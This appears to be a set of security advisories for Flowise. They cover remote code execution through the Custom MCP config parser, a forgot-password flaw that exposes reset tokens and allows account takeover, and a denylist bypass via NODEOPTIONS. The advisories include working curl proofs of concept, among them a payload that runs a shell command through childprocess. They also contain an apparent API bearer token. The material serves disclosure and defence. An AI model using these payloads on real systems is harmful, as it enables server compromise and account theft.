Description
Cause of the Vulnerability
The CustomMCP node allows users to input configuration settings for connecting to an external MCP (Model Context Protocol) server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as childprocess and fs.
Vulnerability Flow
1. User Input Received: Input is provided via the API endpoint /api/v1/node-load-method/customMCP through the mcpServerConfig parameter. 2. Variable Substitution: The substituteVariablesInString function replaces template variables like $vars.xxx, but no security filtering is applied during this step. 3. Dangerous Code Execution: The convertToValidJSONString function executes the input using Function('return ' + inputString)(). If the inputString contains malicious code, it gets executed in the global Node.js context, allowing actions such as command execution and file system access.
Taint Flow
- Taint 01: Route Registration index.ts (Line 5)
- Taint 02: Controller index.ts (Line 57–78)
- Taint 03: Service index.ts (Line 91–94)
- Taint 04: CustomMCP Node Entry Point CustomMCP.ts (Line 132)
- Taint 05: Variable Substitution CustomMCP.ts (Line 220)
- Taint 06: Dangerous Constructor Execution CustomMCP.ts (Line 262–270)
Proof of Concept (PoC)
bash curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \ -d '{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"childprocess\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})" } }' <img width="1907" height="958" alt="image" src="https://github.com/user-attachments/assets/78b50eb1-67af-4c8b-97ea-7e2c05426962" />
When executed, this creates a file /tmp/RCE.txt on the server, confirming command execution.
Impact
Complete System Takeover and Infrastructure Threat
This vulnerability allows attackers to execute arbitrary JavaScript code on the Flowise server, leading to:
- Full system compromise - File system access - Command execution - Sensitive data exfiltration
As only an API token is required, this poses an extreme security risk to business continuity and customer data.
Summary
The forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).
This vulnerability applies to both the cloud service (cloud.flowiseai.com) and self-hosted/local Flowise deployments that expose the same API.
CVSS v3.1 Base Score: 9.8 (Critical) Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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Details
The endpoint /api/v1/account/forgot-password accepts an email address as input. Instead of only sending a reset email, the API responds directly with sensitive user details, including:
User ID, name, email, hashed credential, status, timestamps. A valid tempToken and its expiry, which is intended for password reset. This tempToken can then be reused immediately in the /api/v1/account/reset-password endpoint to reset the password of the targeted account without any email verification or user interaction. Exploitation requires only the victim’s email address, which is often guessable or discoverable. Because the vulnerable endpoints exist in both Flowise Cloud and local/self-hosted deployments, any exposed instance is vulnerable to account takeover.
This effectively allows any unauthenticated attacker to take over arbitrary accounts (including admin or privileged accounts) by requesting a reset for their email.
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PoC
1. Request a reset token for the victim
bash curl -i -X POST https://<target>/api/v1/account/forgot-password \ -H "Content-Type: application/json" \ -d '{"user":{"email":"<victim@example.com>"}}'
Response (201 Created):
json { "user": { "id": "<redacted-uuid>", "name": "<redacted>", "email": "<victim@example.com>", "credential": "<redacted-hash>", "tempToken": "<redacted-tempToken>", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } }
2. Use the exposed tempToken to reset the password
bash curl -i -X POST https://<target>/api/v1/account/reset-password \ -H "Content-Type: application/json" \ -d '{ "user":{ "email":"<victim@example.com>", "tempToken":"<redacted-tempToken>", "password":"NewSecurePassword123!" } }'
Expected Result: 200 OK The victim’s account password is reset, allowing full login.
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Impact
Type: Authentication bypass / Insecure direct object exposure. Impact:
Any account (including administrator or high-value accounts) can be reset and taken over with only the email address. Applies to both Flowise Cloud and locally hosted/self-managed deployments. Leads to full account takeover, data exposure, impersonation, and possible control over organizational assets. High likelihood of exploitation since no prior access or user interaction is required.
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Recommended Remediation
Do not return reset tokens or sensitive account details in API responses. Tokens must only be delivered securely via the registered email channel. Ensure forgot-password responds with a generic success message regardless of input, to avoid user enumeration. Require strong validation of the tempToken (e.g., single-use, short expiry, tied to request origin, validated against email delivery). Apply the same fixes to both cloud and self-hosted/local deployments. Log and monitor password reset requests for suspicious activity. Consider multi-factor verification for sensitive accounts.
Credit
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⚠️ This is a Critical ATO vulnerability because it allows attackers to compromise any account with only knowledge of an email address, and it applies to all deployment models (cloud and local).
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Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'nodeoptions' bypasses the NODEOPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODEOPTIONS --require and execute arbitrary code in the Flowise server context.